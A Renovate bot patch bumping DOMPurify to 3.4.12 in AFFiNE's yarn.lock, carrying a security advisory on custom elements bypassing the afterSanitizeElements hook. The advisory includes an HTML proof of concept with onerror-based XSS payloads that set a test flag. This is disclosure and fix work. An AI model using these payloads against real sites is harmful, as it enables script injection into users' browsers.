From 7c6a36728c0aca4e7db45026925d5a85bc1bcbbf Mon Sep 17 00:00:00 2001
From: "renovate[bot]" <29139614+renovate[bot]@users.noreply.github.com>
Date: Thu, 23 Jul 2026 11:35:23 +0800
Subject: [PATCH] chore: bump up dompurify version to v3.4.12 [SECURITY]
 (#15326)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
| [dompurify](https://redirect.github.com/cure53/DOMPurify) | [`3.4.11`
→ `3.4.12`](https://renovatebot.com/diffs/npm/dompurify/3.4.11/3.4.12) |
![age](https://developer.mend.io/api/mc/badges/age/npm/dompurify/3.4.12?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/dompurify/3.4.11/3.4.12?slim=true)
|

---

### DOMPurify: `CUSTOM_ELEMENT_HANDLING` bypasses
`afterSanitizeElements` for allowed custom elements.

[GHSA-c2j3-45gr-mqc4](https://redirect.github.com/advisories/GHSA-c2j3-45gr-mqc4)

<details>
<summary>More information</summary>

#### Details
##### Summary

There is a possible hook-policy inconsistency in DOMPurify 3.4.11
involving `CUSTOM_ELEMENT_HANDLING`.

When a custom element is allowed via
`CUSTOM_ELEMENT_HANDLING.tagNameCheck`, it appears that the element does
not go through `afterSanitizeElements` in the same way as a normal
element. As a result, an application that relies on
`afterSanitizeElements` as a security policy layer to strip sensitive
attributes from all elements may see those attributes removed from
normal elements but preserved on allowed custom elements.

This does not appear to be a direct DOMPurify XSS or a case where
DOMPurify directly allows executable payloads. The preserved value is
still inert at sanitize time. The issue becomes relevant when the
allowed custom element later re-injects that attribute value into an
HTML sink such as `innerHTML`, creating a second-order XSS gadget.

##### Details

The issue appears to originate from the control flow in `src/purify.ts`:
line 1672~1691

```tsx
const _sanitizeDisallowedNode = function (
    currentNode: any,
    tagName: string
  ): boolean {
    /* Check if we have a custom element to handle */
    if (!FORBID_TAGS[tagName] && _isBasicCustomElement(tagName)) {
      if (
        CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof RegExp &&
        regExpTest(CUSTOM_ELEMENT_HANDLING.tagNameCheck, tagName)
      ) {
        return false;
      }

      if (
        CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof Function &&
        CUSTOM_ELEMENT_HANDLING.tagNameCheck(tagName)
      ) {
        return false;
      }
    }
```

`CUSTOM_ELEMENT_HANDLING` is parsed from user configuration at
`src/purify.ts`: line 741~748

```tsx
const customElementHandling =
      objectHasOwnProperty(cfg, 'CUSTOM_ELEMENT_HANDLING') &&
      cfg.CUSTOM_ELEMENT_HANDLING &&
      typeof cfg.CUSTOM_ELEMENT_HANDLING === 'object'
        ? clone(cfg.CUSTOM_ELEMENT_HANDLING)
        : create(null);

    CUSTOM_ELEMENT_HANDLING = create(null);
```

In particular, `tagNameCheck`, `attributeNameCheck`, and
`allowCustomizedBuiltInElements` are copied into the internal
`CUSTOM_ELEMENT_HANDLING` object there.

During element sanitization, `_sanitizeElements()` checks whether a node
is forbidden or not allowlisted at `src/purify.ts`: line 1805~1814

```tsx
/* Remove element if anything forbids its presence */
    if (
      FORBID_TAGS[tagName] ||
      (!(
        EXTRA_ELEMENT_HANDLING.tagCheck instanceof Function &&
        EXTRA_ELEMENT_HANDLING.tagCheck(tagName)
      ) &&
        !ALLOWED_TAGS[tagName])
    ) {
      return _sanitizeDisallowedNode(currentNode, tagName);
    }
```

If so, it immediately delegates to `_sanitizeDisallowedNode(currentNode,
tagName)` and returns its boolean result.

Inside `_sanitizeDisallowedNode()`, the custom-element-specific allow
path is implemented at `src/purify.ts`: line 1672~1692

```tsx
const _sanitizeDisallowedNode = function (
    currentNode: any,
    tagName: string
  ): boolean {
    /* Check if we have a custom element to handle */
    if (!FORBID_TAGS[tagName] && _isBasicCustomElement(tagName)) {
      if (
        CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof RegExp &&
        regExpTest(CUSTOM_ELEMENT_HANDLING.tagNameCheck, tagName)
      ) {
        return false;
      }

      if (
        CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof Function &&
        CUSTOM_ELEMENT_HANDLING.tagNameCheck(tagName)
      ) {
        return false;
      }
    }
```

If the node is treated as a basic custom element and
`CUSTOM_ELEMENT_HANDLING.tagNameCheck` matches, the function returns
`false` immediately at line 1682 or 1689, meaning “do not remove this
node”.

That early `return false` is significant because control returns
directly to `_sanitizeElements()` via the `return
_sanitizeDisallowedNode(...)` at line 1813. As a result, the later logic
in `_sanitizeElements()` is skipped for that custom element instance,
including:

- the namespace validation at `src/purify.ts`: line 1816~1826

```tsx
* Check whether element has a valid namespace.
       Realm-safe check (GHSA-hpcv-96wg-7vj8): use the cached Node.prototype
       nodeType getter rather than `instanceof Element`, which is realm-
       bound and short-circuits to false for any node minted in a different
       realm — letting a foreign-realm element with a forbidden namespace
       slip past the namespace check entirely. */
    const nt = getNodeType ? getNodeType(currentNode) : currentNode.nodeType;
    if (nt === NODE_TYPE.element && !_checkValidNamespace(currentNode)) {
      _forceRemove(currentNode);
      return true;
    }
```

- the fallback-tag mXSS check at `src/purify.ts`: line 1828~1837

```tsx
/* Make sure that older browsers don't get fallback-tag mXSS */
    if (
      (tagName === 'noscript' ||
        tagName === 'noembed' ||
        tagName === 'noframes') &&
      regExpTest(EXPRESSIONS.FALLBACK_TAG_CLOSE, currentNode.innerHTML)
    ) {
      _forceRemove(currentNode);
      return true;
    }
```

- most importantly for this report, the `afterSanitizeElements` hook
dispatch at `src/purify.ts`: line 1850~1851.

```tsx
   /* Execute a hook if present */
    _executeHooks(hooks.afterSanitizeElements, currentNode, null);
```

In other words, a normal allowlisted element continues through
`_sanitizeElements()` and reaches `hooks.afterSanitizeElements`, but a
disallowed-by-default element that is revived by the
`CUSTOM_ELEMENT_HANDLING.tagNameCheck` path does not. This creates a
policy inconsistency: an application that relies on
`afterSanitizeElements` to remove an attribute from all elements will
observe that the policy is applied to normal elements but not to custom
elements allowed through `CUSTOM_ELEMENT_HANDLING`.

In the PoC, the application hook removes `data-bio` from ordinary
elements, but the same attribute remains on `<x-bio>` because the
custom-element keep path bypasses `afterSanitizeElements`. The attribute
itself is inert at sanitize time and DOMPurify is not directly allowing
executable SVG/HTML through. The security impact appears when the
application-defined custom element later reads the preserved `data-bio`
value in `connectedCallback()` and writes it to `innerHTML`, turning the
preserved attribute into a second-order XSS gadget.

##### PoC

Reproduced on DOMPurify 3.4.11.

##### Steps

1. Save the following HTML to a file, for example `poc.html`.
2. Open it in a browser.
3. Observe that the `div` control loses `data-bio`, while the allowed
custom element keeps it.
4. Observe that after `connectedCallback()` runs, the candidate payload
is reinserted into the DOM and executes through the custom element’s own
sink.

##### HTML PoC

```html
<!DOCTYPE html>
<html>
<head>
  <meta charset="UTF-8">
  <script src="https://cdnjs.cloudflare.com/ajax/libs/dompurify/3.4.11/purify.min.js"></script>
</head>
<body>
<pre id="result"></pre>

<script>
window.__controlFired = false;
window.__candidateFired = false;

customElements.define("x-bio", class extends HTMLElement {
  connectedCallback() {
    const bio = this.getAttribute("data-bio");
    if (bio) this.innerHTML = bio;
  }
});

DOMPurify.addHook("afterSanitizeElements", node => {
  if (node.hasAttribute && node.hasAttribute("data-bio")) {
    node.removeAttribute("data-bio");
  }
});

const config = {
  CUSTOM_ELEMENT_HANDLING: {
    tagNameCheck: /^x-/
  }
};

const controlInput =
  '<div data-bio="&lt;img src=x onerror=window.__controlFired=true&gt;"></div>';

const candidateInput =
  '<x-bio data-bio="&lt;img src=x onerror=window.__candidateFired=true&gt;"></x-bio>';

const cleanControl = DOMPurify.sanitize(controlInput, config);
const cleanCandidate = DOMPurify.sanitize(candidateInput, config);

const container = document.createElement("div");
container.innerHTML = cleanCandidate;
document.body.appendChild(container);

setTimeout(() => {
  document.getElementById("result").textContent =
    "This is not direct DOMPurify XSS.\n" +
    "The payload becomes executable only after x-bio writes data-bio into innerHTML.\n\n" +
    "control: " + cleanControl + "\n" +
    "candidate: " + cleanCandidate + "\n" +
    "after connectedCallback: " + container.innerHTML + "\n" +
    "control fired: " + window.__controlFired + "\n" +
    "candidate fired: " + window.__candidateFired;
}, 100);
</script>
</body>
</html>
```

##### Expected result

```
control: <div></div>
candidate: <x-bio data-bio="<img src=x onerror=window.__candidateFired=true>"></x-bio>
after connectedCallback: <x-bio data-bio="..."><img src="x" onerror="window.__candidateFired=true"></x-bio>
control fired: false
candidate fired: true
```

This is output of HTML PoC.

<img width="1917" height="961" alt="poc"
src="https://github.com/user-attachments/assets/80e22989-5779-42f8-8ffb-106e9a4c2b10"
/>

##### Impact

This does not appear to affect DOMPurify’s default configuration as a
direct sanitizer bypass.

The impact is limited to applications that:

- enable `CUSTOM_ELEMENT_HANDLING`,
- rely on `afterSanitizeElements` as a security policy layer,
- expect that hook to apply uniformly to all surviving elements,
- and have allowed custom elements that later re-inject preserved
attribute values into `innerHTML` or another HTML sink.

In that situation, the behavior can become a second-order XSS gadget
because a security-relevant attribute is removed from normal elements
but remains on allowed custom elements.

Possible fixes or mitigations might include

- ensuring that allowed custom elements also consistently pass through
`afterSanitizeElements`
- documenting clearly that elements preserved via
`CUSTOM_ELEMENT_HANDLING` may not participate in the same post-element
hook flow as normal allowlisted elements.

#### Severity
- CVSS Score: 2.1 / 10 (Low)
- Vector String:
`CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N`

#### References
-
[https://github.com/cure53/DOMPurify/security/advisories/GHSA-c2j3-45gr-mqc4](https://redirect.github.com/cure53/DOMPurify/security/advisories/GHSA-c2j3-45gr-mqc4)
-
[https://github.com/cure53/DOMPurify/pull/1537](https://redirect.github.com/cure53/DOMPurify/pull/1537)
-
[https://github.com/cure53/DOMPurify/commit/a9ca1e537422319a557a9a2aa61f003b23b4a197](https://redirect.github.com/cure53/DOMPurify/commit/a9ca1e537422319a557a9a2aa61f003b23b4a197)
-
[https://github.com/cure53/DOMPurify/releases/tag/3.4.12](https://redirect.github.com/cure53/DOMPurify/releases/tag/3.4.12)
-
[https://github.com/advisories/GHSA-c2j3-45gr-mqc4](https://redirect.github.com/advisories/GHSA-c2j3-45gr-mqc4)

This data is provided by the [GitHub Advisory
Database](https://redirect.github.com/advisories/GHSA-c2j3-45gr-mqc4)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### Release Notes

<details>
<summary>cure53/DOMPurify (dompurify)</summary>

###
[`v3.4.12`](https://redirect.github.com/cure53/DOMPurify/releases/tag/3.4.12):
DOMPurify 3.4.12

[Compare
Source](https://redirect.github.com/cure53/DOMPurify/compare/3.4.11...3.4.12)

- Fixed an issue where a hook would not get called for custom elements,
thanks [@&#8203;Rikuxx0](https://redirect.github.com/Rikuxx0)
- Hardened the handling of hooks removing elements,
[@&#8203;mkrause-bee360](https://redirect.github.com/mkrause-bee360)
- Added support for a few new SVG attributes, thanks
[@&#8203;cbn-falias](https://redirect.github.com/cbn-falias) &
[@&#8203;Develop-KIM](https://redirect.github.com/Develop-KIM)
- Hardened the handling of declarative partial updates
- Updated the documentation is several spots, README, wiki, etc.
- Bumped several dependencies where possible

</details>

---

### Configuration

📅 **Schedule**: (UTC)

- Branch creation
  - At any time (no schedule defined)
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4yNzUuMiIsInVwZGF0ZWRJblZlciI6IjQzLjI3NS4yIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
---
 yarn.lock | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/yarn.lock b/yarn.lock
index 5bbe7b71b1..5f8f31127b 100644
--- a/yarn.lock
+++ b/yarn.lock
@@ -22181,14 +22181,14 @@ __metadata:
   linkType: hard
 
 "dompurify@npm:^3.3.1, dompurify@npm:^3.4.11":
-  version: 3.4.11
-  resolution: "dompurify@npm:3.4.11"
+  version: 3.4.12
+  resolution: "dompurify@npm:3.4.12"
   dependencies:
     "@types/trusted-types": "npm:^2.0.7"
   dependenciesMeta:
     "@types/trusted-types":
       optional: true
-  checksum: 10/d0473e1a22ed9cc23d86ef426717bce866913d1a725512a9478985bd917b272e0faba5f1d6ad8b2e37f3f4219206c4385162d7c984cfedcd23396e1e6ae0bc5e
+  checksum: 10/f826b68920887eb75115a162facb42380d1c3fac441548217b30068c9fadeed14f63fa1f7a1d2ab6f63613e5a0f897aa245c9224d4abf7939cd8ae58c04646af
   languageName: node
   linkType: hard